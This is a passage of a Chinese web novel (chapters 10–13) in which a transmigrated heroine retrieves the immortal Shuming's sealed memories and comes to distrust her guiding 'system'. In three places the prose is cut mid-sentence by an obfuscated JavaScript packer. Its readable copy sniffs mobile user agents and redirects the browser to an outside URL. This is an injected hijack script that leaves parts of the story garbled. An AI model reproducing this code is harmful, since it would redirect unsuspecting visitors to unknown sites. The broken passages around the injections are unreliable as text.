“笑笑,”她唤道,“余会让宫人送你归家。” “作为报答,你可否为余一舞?” 玉瑟声起,初弦如舒云,末弦如融雪,巫女敛声屏气,未曾想过,尊贵如她,竟会为自己一人奏乐。 心尖悬刀,脚步却愈来愈稳,一顿一挫,裙摆如风吹水皱,凝而不散。 巫女垂眸望着盛开的裙摆,低眉抿唇,含笑晏晏,恰似她年少之时。 【男主支线任务完成度80%】 【男主攻略进度增加20,当前攻略进度为78】 10. 战昆仑 从幻境中返回,叶熙熙看到枢明沉沉立在井边,不知在想什么。 她说话一向直截了当:“她不会真的死了吧,这个仇,你是不是没法报了?” 良久,枢明道出两个字:“仙庭。” “拜托姑娘以少觋的身份,去一趟仙庭,问问掌管仙箓的仙官,她划去我名字的时候,到底发生了什么?” 叶熙熙阅文无数,对这类情节早已不陌生,猜测枢明和那位仇人姑娘十有八九是虐恋情深。 那位姑娘怕自己死后枢明伤心,所以让他失忆,这个好理解。 不过她为何要划去他在仙箓上的名字,让他一辈子只得在凡间做个妖仙? 这其中还有隐情。 如枢明所言,去一趟仙庭或许可以找到真相。 这应该便是支线任务的最后20%。 不过叶熙熙发现了一个一直被自己忽略的点:“当初你与少觋是如何相识的?” 按照原著,少觋与枢明早已相识数百年,她也爱了他数百年。 枢明失忆忘却前尘,又因为仙箓划名而被仙庭放逐。以上种种,少觋真的毫不知情吗? 如果知情,为何不主动帮他找回丢失的记忆,帮他复仇? 这才是真爱应该做的事啊。 “我从仙庭离开后,机缘巧合之下遇到少觋,她邀我做她的仙侣,我便应了。”他微微皱眉,“但我为何会答应她,此间的细枝末节,我已记不清了。” 这话说得模棱两可,叶熙熙也拿不准是少觋有问题,还是枢明纯渣。 “后来,我遇到了小悲,是她告诉我有这样一段孽缘,致使我毕生无法回到仙庭。亦是她提醒我不能相信少觋。” “我从她口中得知她与少觋有恩怨,所以对她的提醒半信半疑。不过后来我确实很少再去找少觋,想独自一人去查明真相。” 这便和原著开头的情节圆起来了。 枢明之所以离家出走,是因为小悲告诉他少觋不可信。 又是小悲……叶熙熙心道,女二这么做到底意欲何为? 与其想太多,不如赶紧行动。 她问系统:“我要去仙庭,应该怎么走?” “仙庭是特殊存档点,可以直接传送。”系统秒答复,“准备好了就闭上眼睛。” 系统出行,值得信赖。 …… “少觋?” 叶熙熙睁开眼睛,置身山巅云雾之中。 【宿主已到达昆仑】 四周空无一人,方才那声呼唤好似她的错觉。 在她眼皮子底下,那丛针茅抖了抖,而后幻化出了人形。 叶熙熙后退一步,看那人捋捋不染纤尘的袖口,端的一副骄矜模样:“怎么,我不过年轻了几岁,你便认不出来了?” “……恭喜,”叶熙熙可没工夫跟原女主的熟人寒暄,“咱们长话短说,你可还记得枢明其人?” 仙官若有所思地看着她:“果然到了这一日。” “这里有你想了解的一切。”他在掌心凝出一抔雪,“从前你将他的记忆封存在这捧雪中,嘱咐我,倘若有一日你再来问,便将这捧雪还与你。” 他仿佛看出这具躯壳中已非故人:“这些事,你应当已经忘了吧?” 果然是少觋干的。 不过她怎么知道日后会有人代替她,来取走枢明的记忆? 叶熙熙虽然纳闷,但看仙官并无为难她的意思,便接过雪,说了句客气话:“以后有机会咱们再叙旧。” “你倒是变得讨喜多了。”那仙官笑笑,不再多言。 拿到记忆之后,应当立刻回去找枢明。 叶熙熙这么想着,却忽然被吸入了虚拟空间。 她不知道系统为何突然要与她见面:“怎么了?” 系统问她:“宿主接下来打算怎么做?” 叶熙熙不假思索:“当然是把记忆还给他,好完成任务。” “只要你拿到这份记忆,你的任务就已经完成了。” 系统说完,虚拟空间内适时传来提示音。 【男主支线任务进度100%】 她拿不准系统是不是有什么言外之意,“但是他的好感度还没满,我把这份记忆给他之后,应该就能拿满好感度,解锁隐藏剧情了吧?” “支线任务与攻略任务都能解锁剧情,只要你满足一个就可以。” 叶熙熙看着它:“你是不是不想让我把这份记忆给男主?” “给或不给,宿主应当自行决定。”系统道,“我只是想提醒宿主,不要忘记自己的人设。” 疯批恶女。 叶熙熙自认为已经在发疯的路上走了很远,但是恶女……除了玩弄岁梧的感情外,她好像完全没有展现出恶的一面。 或者说,她本身不是个多坏的人,让她昧着良心做坏事,实在是太难为她了。 不过现在系统给了她一个机会,让她可以拨弄天平,使其倒向恶的一端。 女主夺走男主曾经的记忆,隐瞒他,甚至骗他和自己结为仙侣。而现在她叶熙熙找回了男主的记忆,如果继续隐瞒,骗他自己什么都没找到,这样看确实是很恶了。 这就是系统想让她塑造的“疯批恶女”吗? 叶熙熙看着系统,忽然觉得有些事情正在脱离自己的掌控。 她先打了个哈哈:“可是我有强迫症,攻略任务100%了,好感度也得100%才行,要不然我一想起来就难受。” 【男主攻略进度增加22,当前攻略进度为100】 系统回望着她,虽然这个模糊的人形根本辨认不出五官,但叶熙熙觉得好像有一双眼睛在凝视她:“现在还难受吗?” 她褪去笑意:“你开挂?” “为什么你不想让枢明找回记忆,”她已经完全看清了系统的态度,“你到底是谁?” “我是系统。”那个模糊的人形答得不慌不忙,“我所做的一切都是为了帮助你完成任务回家。” “放你爹的屁。”叶熙熙神色一冷,“你既然能随意更改男主好感度,为什么不直接帮我把结局都写完?这样不是能更快帮我回家吗?” “而且身为主角,你真的明白所谓的疯批恶女人设应该怎样立住吗?”她道,“我要做到的是如何让读者爽,而不是让读者骂我缺德。” 本来就是原女主剥夺了枢明的记忆,她既然要帮男主走完支线任务,就应该物归原主。 至于枢明找回记忆之后会发生什么,那是角色自己的命运,他的命运应当由他自己决定。 系统不再作声,与此同时,虚拟空间正在不断消解。 叶熙熙还以为系统又要当鸵鸟回避了,但是她发现这次从虚拟空间出来之后,感觉似乎有些不同。 她心率忽然变得极快,腹部绞痛,鼻孔里有温热的液体流出来,渗透进双唇间的缝隙中,满口铁腥。 本以为是系统在抽风,她抬起头,发现面前站着一个熟悉的身影。 是枢明。 “你……” 她话还没说完,便被仙官拉到一旁,这时她才发觉,原本清净无人的昆仑山,此时已被各路仙官围得水泄不通。 “枢明草,日月更替,半药半毒。”仙官在她耳旁道,“你中了他的毒。不过现在是白昼,他的毒性不会太强,你调息一下便好了。” “少觋,”纵使成为众矢之的,枢明依旧波澜不惊,“把记忆还给我。” 旁边一位驾云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“粗鄙不堪。”一位女仙皱着眉头。 “哪来的傻比?”叶熙熙也皱起眉头,“人家来找自己的记忆,关你屁事,你算个什么东西?” 众仙敢怒不敢言。 “告诉你们,”叶熙熙中气十足,指着他们大骂,“这份记忆就得给他,我还就不信了,谁敢插手我跟谁同归于尽,把你们的狗嘴都给你爹闭好了,滚吧!” 仙官们虽然忿忿,奈何骂不过她,只得陆续离去。 有人窃窃私语:“少觋仙官好像疯了……” 叶熙熙劈头盖脸骂道:“疯你大爷!还不快滚!” 一时间,昆仑山上只剩她和枢明。 “……对不住。” 叶熙熙恨不得直接抽他:“道歉有用吗?你知道中毒有多疼吗?” 枢明已经熟悉了跟她相处的方式,乖乖站好挨骂。 “你是怎么把他们惹来的?”她问。 一开始她还以为枢明的记忆里有惊天秘闻,所以才遭到众仙围剿。 后来她执意要将记忆归还枢明,众仙虽不情愿,却并未下场阻拦,可见这份记忆里应该没有什么要紧的东西。 “我已被仙庭驱逐,又擅闯昆仑。他们得到消息,围追我合情合理。”枢明道,“只是连累了姑娘……” “行了,废话少说,快看看记忆里是怎么回事。”叶熙熙没有错过方才那位仙官的话,划去仙名的人不是别人,是枢明自己,“看完了赶紧告诉我,我也想知道。” 【男主隐藏剧情可解锁,是否现在观看?】 叶熙熙选了“是”。 11. 前尘篇·泽上仙(上) 月悬风轻,他一路跋涉,踏过雪原与荒碛,来到一片温暖的水泽。 他能感觉到这里有强大的生命,水泽中或许藏着一个庞然大物,所以他尽力放轻脚步。 “啪嗒”。 鞋子踩进水坑里,清脆的异响,在静谧的树林间格外突兀。 他听到翅膀急促拍打的声音,远处,几只飞鸟蹬开枝杈,遁入沉沉夜色。 水泽中的生命被扰醒,右眼缓缓睁开一条缝。 露珠拽着叶尖,最终撑不住,坠了下来。他用指尖接住那滴水,却眼睁睁看着那抹水渍在指尖凝成一点,悠然飘回那叶片,稳稳卧住。 叶片抖了抖,不胜毒力而枯萎了。 “远方的客人,你也是来寻求庇护的吗?” 她像卧在叶片上的那颗露珠,恬然憩息于水泽中,将擅闯的他收在眼底,却无半分愠怒。 这片水泽仿佛有神力,将他体内紊乱难以压制的毒安抚下来。 他沉默坐下,借着月华调息,彻底收住了向外逸散的毒气。 但这难以长久,一旦他离开,到了夜晚,毒又会不受控制。 “我想留下。” 听到他的话,她微笑着从水泽中起身,拖着漉漉的湿痕:“那便留下吧,碧落之墟诚待每一位来客。” …… 碧落之墟是一个人类部落。与他从前见过的任何部落都不同,碧落之墟接纳灵和妖。 而在这些灵和妖当中,有许多都是如他一般,误闯水泽,而后被栖川捡回部落。 栖川是女子的名字,她是泑水中的灵。泑水是混沌之水,这位水灵亦是强大而温柔。 她不仅用自己的力量去帮助人类,而且还会与精怪们订立契约,许诺会引渡它们成仙。 条件是,在碧落之墟的将士们出征讨伐灾殃之时,它们需要留下来守护部落。 灾殃祸乱人世,非人力可以抗衡。 碧落之墟的人们信仰昆仑的神明,虔诚而沉重的信仰换来神明的眷顾。他们得到了普通人类所不能及的力量,还有人类所渴望的、更持久的生命。 但是这还远远不够,于是人们找到了巫,由她祃祷,为出征的战士赋予神力,让他们的护甲足以抵抗邪咒,武器足以斩杀妖魔。 巫女名叫少觋,她是碧落的大祭司,亦是碧落首领的老师。 碧落的小小首领,那个常常躲在少觋身后、怯生生的小姑娘,名叫杯珓,但因为年纪最小,被他们唤作“小杯”。 她的母亲是带领碧落走向鼎盛的人,后来不幸惨死在灾殃的核中,彼时杯珓尚且年幼,在祭司和将军的扶持下,跌跌撞撞撑起了一片天空。 将军燧乌骁勇,领兵征伐灾殃,从无败绩。 他们三人是栖川的人类朋友,当然,她还有一位妖怪朋友,名叫兮烛。 兮烛是东方异兽,平素懒散,以天为被,以地为席,可以酣睡数月不醒。 然而即便他醒过来,那双眼睛也从来不会睁开。 栖川说他的眼睛吓到过无数人类与精怪,所以轻易不会露出来。 介绍完她的朋友们,她望着他,思忖片刻:“你还没有名字。我想想,现在已经有了栖红、栖黄、栖绿、栖蓝、栖紫、栖黑,不如你就叫栖白吧?” 但可惜她没能如愿。 枢明草,生于不周山,他是枢明,这是他自己取的名字。 于是他成为了“他们”中的一员。 碧落之墟每隔一次满月便要出征讨伐灾殃。栖川说,灾殃的力量是混沌无序,当这种力量充斥世间,人类便会自相残杀,陷入混乱与毁灭。 出征前,燧乌带领战士们向神明祈祷凯旋,肩上的太阳图腾熠熠。 少觋立于祭坛上祃祷,双臂高抬,如长空上的鹰隼。 栖川、兮烛也要同去。告别之时,总有几个小精怪会忍不住落泪,兮烛闭着眼睛似睡非睡,只有栖川安慰似地抚摸它们毛茸茸的耳朵。 杯珓留在部落里,听着雄浑的鼓点声出神。 有燧乌在,战士们每次都能平安归来,但有时也有例外。 当碧落之墟失去了一颗星子,人们会将他安放在神垂眸注视的地方,杯珓捧着花,唱悼亡歌,她看着星星,人们看着她。 这是枢明眼中的“他们”,但是栖川告诉他,他不知道在平凡的日子里,杯珓会为了独自主持一场祭祀而向老师少觋撒娇。 他不知道,燧乌和栖川经常在争论谁做饭更好吃的时候大打出手。 他不知道,兮烛睡觉大多是在假寐,而真正酣眠时,他总是忘记收起两簇毛蓬蓬的兽耳。 他更不知道,燧乌常常坐在树上,借着月光打磨骨笛,当清幽的乐声流淌入耳,不苟言笑的祭司也会面色温柔。 …… 栖川答应引渡精怪们成仙,但修行还要看它们自己。 受到燧乌练兵的启发,她在祭坛下面的空地上圈了一个圈,让小精怪们排好队,一个接一个上来和她打一架。 交手时,精怪们总能在灵气的流转中悟到玄机,于是修行速度倍增。 偶尔她出手重了些,总有一两个小精怪被她抛到天上,飞没了影。 栖川只能循着他们消失的方向狂奔。 一旦它们飞得太远,便很难找到回家的路了。 枢明常常在旁边观战,但从来不会加入他们。 这一日栖川结束了校练,躺在圆圈的中央,空荡荡的场地上只剩她和枢明。 她望着天上的云发呆,他闭目凝神调息。 “我们来晚了?” 是燧乌他们。 三长一短的影子伸进圆圈里,栖川歪着脑袋:“你们也是来向我讨教的?” 兮烛闭着眼睛事不关己,优哉游哉。少觋从不喜欢凑热闹,领着杯珓坐到旁边。 燧乌朝她伸出手:“那便来吧。” “来便来,输了你可别说我欺负人。” “我怎么可能一个人跟你打,”燧乌笑道,“自然还要加上少觋。” 栖川不干:“好啊,是你们欺负人。” “泑水的仙灵,还打不过两个凡人?”说完,他有意无意向后瞟了一眼,往杯珓的方向,“不如你也找个后援?” 栖川会意,喊道:“小杯,只有你能救我了!” 猝不及防,杯珓坐直身子,反而怯怯的看了少觋一眼:“……我和老师相差甚远。” “不试试怎么知道呢?” 栖川说完,少觋垂眸,摸摸小姑娘的头:“去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但是被欺骗的人却相信了。杯珓不可思议地望着被打败的燧乌。 始终沉默的少觋告诉她:“你赢了。” 栖川连忙附和:“小杯,你本来便可以做到的,所以要相信自己。” 受到众人肯定,杯珓明显活泼了许多。 栖川站在圈内,傲视群雄:“还有谁可与吾一战?” 在大家一致的目光中,兮烛不情不愿地走到她面前:“确定?” 他太懒,说话从来不超过两个字:你们确定让我做饭? 栖川无奈:“你为何觉得一定会输啊?” “斗志。”他现在根本就不想打架。 无奈栖川打得正尽兴,这些损友们看得也尽兴。 “既然对手是你,那这个圈画得太小了,不如我们敞开了打,你意下如何?” 兮烛嗯了一声。 新一轮校练开始,栖川依旧是一上来便消失,兮烛始终闭着眼睛,看上去老神在在。 十枚水箭从头顶袭来,接着被一只无形的手掌赶到一边,水箭落地,变成密密麻麻的水洼。 与此同时,水洼旁边显现出一道极浅的凹痕。 “巨兽。”杯珓向枢明解释,“兮烛的真身,那爪痕就是他用力时留下的。” 又是一掌,一颗树被拦腰拍断,暴露出栖川的身影。 12. 前尘篇·泽上仙(下) 夜深了,三人三妖燃起篝火,在月下共饮。 栖川擅长熬汤,汤中放了各种奇异草药,或能饱腹,或能忘忧。燧乌烤了些肉佐汤食用。 几人谈笑间,只听一声鸣响,夜幕中炸开一片火花。 “是烟花!”栖川眼眸亮晶晶,看向稳重的巫女,“少觋,我还要看!” 杯珓也眼巴巴地看着她:“老师……” 少觋从不会辜负她们的期望,抬起右手,接连几声爆鸣,五色莲花自头顶绽放,映得大地一片绯红。 部落里的人们纷纷走出屋子,凝望着夜空中盛大的烟火。 “这是烟花,是一千年以后的人类发明出来的东西,”栖川对枢明道,“多亏了少觋,我们才能目睹来自另外一个时空的繁华——虽然仅仅是一场幻象。” 见枢明不回话,她顿感无趣,却又不肯放弃:“你想上去看看吗?” 别扭的少年终于抬起头。 栖川忍不住笑出声来:“走吧,我带你上去——” 一阵失重与目眩,一泓水流拽着他的手腕,直冲云霄,在红莲的花瓣间穿梭、飞舞。 高处的凛冽,手腕上的炽热,满目晕红,耳边充盈着快意的欢笑。 烟花盛开在他脑中。 地面上,少觋看着身边满怀期待的小姑娘:“要上去吗?” 杯珓用力点头,额发被风吹斜,露出挂在额头上的赤色骨珠。 “准备好了就闭上眼睛。” 杯珓被风托到长空之上,一会儿吓地呼喊老师的名字,一会儿又咯咯笑个不停。 燧乌望着在天上乱飞的一人两妖,笑道:“要是能等到真正有烟花的那一天,该多好。” 少觋微微抿唇。 一直闹到子夜,栖川落地,一手是晕头转向的枢明,一手是玩疯了的杯珓。 四下一望不见少觋,她去问燧乌,对方面露无奈:“我说错话了。” 少觋虽然从未表露,但他们都知道,少觋渴望长生。 生为人神之间最具天赋的巫女,她能预见几千年后的人世,亦能回溯到天地混沌之时。 但她的肉身太脆弱,不足以支撑她走过漫长的岁月,去看一场真正的烟花。 她不是长生种,她会老、会死。 他们之间有默契,知道她在意,所以从来不会在她面前提起。 后来枢明问栖川:“少觋既然想要长生,何不去修仙?” “因为责任,”栖川道,“灾殃每隔一月便会发作,她必须将全部的力量用于为战士祃祭。否则,凭她的天赋,早已位列仙班了。” “她选择了碧落。” 又或者说,她选择了人类。 燧乌想要赔礼道歉,栖川和杯珓跟在他身边出主意。 好不容易准备好一切,第二天一早,他刚一见到少觋,还未开口便被对方打断。 “前线来报,灾殃已有复苏之势,比之以往提前了十日,”她道,“你即刻带兵,叫上栖川和兮烛。” 她一顿:“我也同去。” 而此次一并同行的,还有枢明。 经历上次的校练与夜饮,他们的关系发生了微妙的变化,他于碧落之墟而言似乎不再是一位过客。 这是枢明第一次见到灾殃——位于山巅洞穴中的一颗核,魔气从地缝中溢出,滋养着嗜杀的魔物。 将士们同魔物厮杀,兵刃上的巫咒斩断魔气,积少成多,便能重创洞穴中的核。 当核元气大伤,便会收起逸散的魔气,缩回洞穴中沉睡,直到下一次满月。 而这次,核提前十日苏醒了,这对于他们来说是个危险的预兆。 核的力量似乎也有所增强,此次他们折损的人数比以往多了几倍。 “小心——” 当水流拴住他的腰后撤的那一刻,核发出一声怒喝,强劲的魔气横扫战场,将胆敢靠近它的人全部逼退。 后方,少觋用将战士们稳稳托住,逆着魔气,栖川兮烛和枢明三方牵制住魔核,燧乌咬紧牙关,肩膀血肉模糊,早已看不清图腾的纹样。他一刀刺穿了灾殃。 经此一役,灾殃再度陷入沉睡。 回到部落,少觋对枢明道:“你应该去看看栖川。” 见少年迟疑,大祭司点到即止:“方才你险些受伤的时候,她很紧张。” 枢明觉得她似乎误会了什么,但是回过神来的时候,他已经来到栖川面前了。 他斟酌了一下,隐晦地提起她方才的救命之举。 “你不必谢我,”栖川一脸真诚,“你跟其他人不同,我不能让你受伤。” 他告诉自己一定要克制,但是泛红的耳廓还是暴露了他的心思。 后来他又问少觋,栖川是什么意思。 少觋问他:“你来碧落的时候,她可曾与你订立契约?” 枢明说未曾。 “剩下的问题,你去问小杯吧,”大祭司拂袖而去,“我最近忙于调查灾殃。” 虽然有些抗拒,但他还是去找了杯珓。 杯珓听他讲完事情的经过,扑哧一笑:“你确实很特殊。来到碧落之墟的妖怪都要立下誓言,若是想要留下,便要把碧落之墟当成自己的家来守护。” “她唯独不肯与你订立契约,或许是觉得留不住你?” …… 一晃过去了十年。 十年间,碧落之墟又历经了千百场战役。 从前的星子陨落了,和眼泪一样晶莹透明,又会有新的星子补上去,依旧熠熠生光。 燧乌越来越爱调侃自己老了,不过后继有人,他很放心。 少觋依旧沉稳,只是白了一缕长发,在一头乌发中格外显眼。苍白的发尾被她掬在手心里,像一团叹息的雪。 杯珓已经长成了高挑少女,她知道老师介意那缕白发,安静地帮她梳到脑后,编成长长的辫子。 此时北方一个叫作伐谒的部落正在逐渐壮大,隐隐有向南扩张之势。 不少部落赶来向他们求援,碧落自然愿意出手相助,只是受到灾殃的牵制,他们很难出兵帮他们对抗伐谒。 与此同时,因为长久干旱无雨,部落里的田地已然龟裂,青苗萎蔫。 泑水不养田,栖川也无能为力。杯珓一次又一次主持祭祀求雨,却从未得到神明的回应。 终于在一次占卜中,人们得到了神明的启示。 西北。 碧落在昆仑山脚,西北是不周山。 部落里唯一一位来自不周山的,是枢明。 栖川对他道:“或许神明是在提醒你,该离开了?” 他反问:“你也认为是我给碧落带来了灾殃?” 栖川笑着说自然不是。 “十年前我遇到你的时候,你距离成仙只差一步了。”她面容恬淡,“你曾经问我为何不与你订立契约,我想了想,约莫是我不愿意耽误你成仙。” 只差一步,他本就是灵草,只要他能融汇体内的药和毒,将两种极端的力量合为一体,便能跨过成仙的唯一一道阻碍。 他其实早就能突破那层境界了,只是他一直在等。 或许他不愿意离开这个被他当成家的地方,或许他还没有准备好和她道别。 “前几日,我从前结识的一位仙灵——如今他亦是昆仑上的仙官,让我告知你,你该去昆仑了。” 后来他再想起来,这句话其实漏洞百出。 但是当时他信了。 如果他从未进入碧落,成仙应当是他唯一的愿景。 他一路走来的修行,也都是为了成仙,现在终于得其所愿,他何必拒绝呢。 于是他告别了碧落,告别了栖川,燧乌,少觋,杯珓和兮烛,一人跋涉上了昆仑。 当他来到昆仑山顶时,已经过去了一月有余。 山顶果然有一位老仙官在此等待,听说他已飞升成仙,却是笑着摇头:“你虽已破境,却和凡尘还有牵扯。” 然而老者又掐指一算:“方才明明还有一段尘缘,现在却断了。” “罢了,既然你尘缘已了,那便随我来吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186645|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 少年停在原地 “什么意思?”他拧着眉,“什么叫断了?” 老仙官怜悯地看着他。 “究竟是谁叫你来昆仑的?” …… 枢明回到了碧落之墟。 又或者说,他回到了记忆中碧落所在的土地。 遍地精怪残骸,无人收尸,无人在意。 只有一小片绿油油的秧苗,被鲜血浇灌,长势旺盛。 他跪倒在地。 碧落之墟为伐谒所灭,栖川下落不明,少觋、燧乌。杯珓与碧落的战士们不知所踪,兮烛小山一样的尸块还留在战场上。 枢明在北方游荡许久,却无论如何找不到伐谒的所在。 “别再执迷不悟了,”曾有一面之缘的老仙官出现在他身边,“随我去仙庭吧,或许以后你还能找到她。” 他浑浑噩噩回到仙庭,授受仙箓。 仙庭事务繁多,他起初还能抽空回到凡间寻找栖川的下落,寻找伐谒的所在。 但是没有半点线索,他一筹莫展。 后来在仙庭待得时间长了,他惊恐地发现,自己对于碧落的执念正在慢慢平淡,当初一地尸骸带给他的触目惊心也慢慢消弭了,还有他要找的人,栖川,他好像已经记不清她的脸了。 他不能再在这里待下去了。 他要在彻底遗忘之前离开这里。 他偷走仙箓,不顾众位仙官的围追堵截,划去了自己的名字。 我要回去。 带着这个信念,他已经准备好落入凡尘中,一切重新来过。 然而在坚实的土地上苏醒的那一刻,他睁开眼睛,记忆中一片白茫茫。 他记得自己叫枢明,曾是仙庭上的一位仙官,但是现在被贬到凡间成了妖仙。 但他到底是因为什么而被仙庭除名,他也记不清了。 他无处可去,只得漫无目的地游荡在人世间,凭着一身高超仙法,走到哪里都还吃得开。 有一日他偶遇一位仙子,她从仙庭来,此次下凡是要去做人类的国师。 神仙居然会插手凡间的事,真是闻所未闻。 “我名少觋,”仙子温和道,“与仙君有些旧识。” 她讲了他从前在仙庭的一些往事,说他是因为犯了错,才被遣送下凡。 他并没有轻信,直到后来从她口中得知越来越多有关自己的往事,在仙庭处理事务时顶撞上神云云,经常抽空偷溜到凡间云云,他觉得过去的自己十分有趣。 后来少觋提出和他结为仙侣:“不过是名义上的,之后任仙君想去天涯海角,我都不会干涉。” “况且仙君之后若是遇到仙庭刁难,看在我的几分薄面上,他们也定会让仙君三分。” 他孑然一身,其实答应了也没什么不好,但他总是觉得有些别扭,所以拒绝了她。 后来不知怎么的,某一天醒来时,他发现手心里长出了莫名的纹路。 他和少觋结契了,可他一点记忆也没有。 少觋信守诺言,只是结契,不会干涉他的自由。虽然心中有些烦闷,但契约已成无法销毁,索性便随它去了。 后来他又遇到一位红衣少女,少女伶俐鬼精,一上来就叫他的名字:“好久不见啊,枢明。” 她似乎也与他有些旧识,但无意与他叙旧:“我可是好心提醒你一句,离少觋远一些,别信她的话。” 少女名叫小悲,据她所言,少觋一开始就在骗他,他下凡是被人陷害的,那个人划去了他在仙箓上的名字。 “她害我变成了这幅样子,”少女忧伤地掀起裙摆,本该丰腴的大腿只剩下两根森森白骨,“所以我恨死她了。” 说完,她又咯咯笑起来:“陷害你的那个人还流落在凡间,我有她的线索。” “想要的话,”她忽然又敛了笑意,平静道,“拿少觋来换。” 【剧情回放结束】 叶熙熙睁开眼睛,还未来得及有所反应,便听系统继续提示道。 【女二支线任务已开启】 13. 生者哀 叶熙熙意识回笼的时候,怔愣了很久。 这份记忆中的信息量太大了,部落时代的巫女少觋,与岁梧长得一模一样的将军燧乌,杯珓、小杯、小悲,已经见过三面的神秘女子栖川,还有一张新面孔兮烛。 这是枢明的过往,也是他们一群人的过往。 别的暂且不提,如果叶熙熙没有理解错的话,原女主少觋不像原著中所写的那么圣母。 叶熙熙差点都要忘了,原女主的人设可是“披着圣母皮的疯批恶女”,虽然作者笔力不够,没在小说当中体现出少觋疯和恶的一面。 但是从枢明这段记忆里可以看出,少觋比她想象的要复杂得多。 枢明站在她身边,盯着手心上的契痕。 失去了心爱之人的所有记忆,又被故友欺瞒着结为仙侣,他心中不知所何感想。 不过少觋也说过这只是“名义上”的仙侣。叶熙熙在记忆中可以明显感觉到,少觋从始至终没有对枢明有过任何超过友谊的感情, 所以这个名义上的仙侣关系,对少觋究竟有什么意义? 恐怕只有少觋本人才能知道了。 叶熙熙问:“这个契约,你知道怎么解除吗?” 枢明表示一无所知。 “那要不你先去找你要找的人,反正这个契约也不会约束你,”叶熙熙想了想,“或者如果你找到解除契约的方法,也可以随时来找我。” 虽然她不是少觋,可是顶号之后,该给少觋收拾的烂摊子,她可一样都推不掉。 这种抢别人cp的罪名,千万不能落在她身上。 “找不到了。”枢明说道,“她已经死了。” 叶熙熙想到女子在井里说过的话。 “让我再最后赠你一场梦吧。” “可是万一她还活着呢?”叶熙熙安慰他,“她不是仙灵吗,没准她会复活也说不定……” 但她知道这个可能微乎其微。 强大如栖川,都没能守护住碧落。 她那么爱人类,爱自己的朋友,爱碧落,可是伐谒攻打碧落的时候,她又在哪儿呢? 就连兮烛都死在伐谒人手中,伐谒究竟是一个多么可怖的部落。 还有悄然成仙的少觋,易名为悲的杯珓,那双干枯惨白的腿骨,纵使叶熙熙再想起来也会忍不住一个激灵。 所以当年究竟发生了什么? 如果想知道当年的真相,她必须尽快开始新的支线任务。 去找女二小悲。 叶熙熙召唤了几次系统,可惜系统安静得像是死了。 虽然不明白是什么情况,而且系统之前的言行也实在可疑,叶熙熙不得已向枢明开口:“我想去找小悲,你知道她在哪儿吗?” 枢明取出镇雾灯,递给她。 他不拿出来叶熙熙都快忘了,他们还有这个能够上天入地的寻人法宝。 “姑娘想必有要事去做,”枢明道,“这一路上多亏姑娘出手,才能化险为夷。” “不如就此别过。” 男主的支线任务已经完成,隐藏剧情也已经解锁,而且根据系统之前所说,他马上就要降为男二了,以后的戏份估计会越来越少。 “祝你顺利。”叶熙熙道。 …… 借着昆仑的云雾,镇雾灯得以发挥奇效,叶熙熙顺着灯的指引走到小路尽头,看到一道门。 上次是村口,这次是一扇门,看来小悲现在应该在某个房间里。 她没有多想便推开了门——只是一看到门后的人,她立刻后悔了。 小悲确实站在里面,见她突然出现,不免笑出声来:“我们刚说起你,你便来了,该说你们还真是心有灵犀吗?” 岁梧站在她身边,看不出喜怒,但是她可以确定,是她的突然来访打断了二人的谈话。 叶熙熙后知后觉抬头一看,哦,这是卫述的王宫啊。 然后转身就跑。 笑话!岁梧都说了,只要她还敢回来,就一定会囚禁她,把原著中可怕的行径在她身上全部上演一遍。 她是疯了才会以身犯险! “哎,别走啊。”小悲轻轻松松将她捉了回去。 叶熙熙将自己知道的术法全部念了一遍,奈何没用。 叫系统,系统也不应。 叶熙熙捏紧拳头,实在不行,她就发疯。 但是接着却被揽进一个温暖的怀抱。 “觋觋,”岁梧抱住她,声音闷闷的,“你好像不想见到我?” “……” 叶熙熙察觉到他好像切换回正常人格了。 危险似乎可以解除,但是她想起了一件更重要的事。 “岁梧,”她说,“不知道小悲有没有跟你说过,其实我不是少觋。” “我骗了你,抱歉。” 其实早在枢明和小悲认出她的身份时,她就想过要不要和岁梧坦白。 但是碍于贯彻恶女人设的系统任务,再加上岁梧在她心中的定位就是时而疯批时而傻白甜的恋爱脑,渣他毫无难度,所以把他当做给自己挣kpi的工具人。 在叶熙熙心里,岁梧和书里的其他角色一样,本质上都是纸片人,她无法共情他们,和他们相处时,也不会拿现实世界中的道德标准来要求自己。 所以她发挥一直都很随意,想发疯就发疯,想欺骗感情就欺骗感情。 然而当系统在她面前随意将男主好感度调到100%的时候,叶熙熙忽然发现事情没有自己想的那么简单。 她一直以为,身为穿书者的自己才是故事世界里最大的bug,而系统是她的金手指。 但是现在看来,系统才是那个最大的bug,它可以把她从现实带到书中,也可以通过设定各种任务,让她朝着它所希望的方向去走剧情。 同样,一旦叶熙熙的自主意识超过了系统的控制,系统会像上次一样把她强行拉进虚拟空间。 还要多亏枢明用毒攻击她,让她的身体超载不得不返回现实,不然她没那么容易逃脱系统的掌控。 所以现在,叶熙熙开始重新审视自己的选择,或许完成系统任务并不是回家的唯一方法,她应该另谋出路。 她决定跟岁梧坦白,虽然可能有点晚了,但是以后岁梧如果真发起疯来,她真的不想再管了。 听完叶熙熙的话,岁梧似乎比她还忐忑:“觋觋,你是在害怕我吗?” “你担心我会伤害你,所以故意骗我说你不是少觋。” 他松开她,上上下 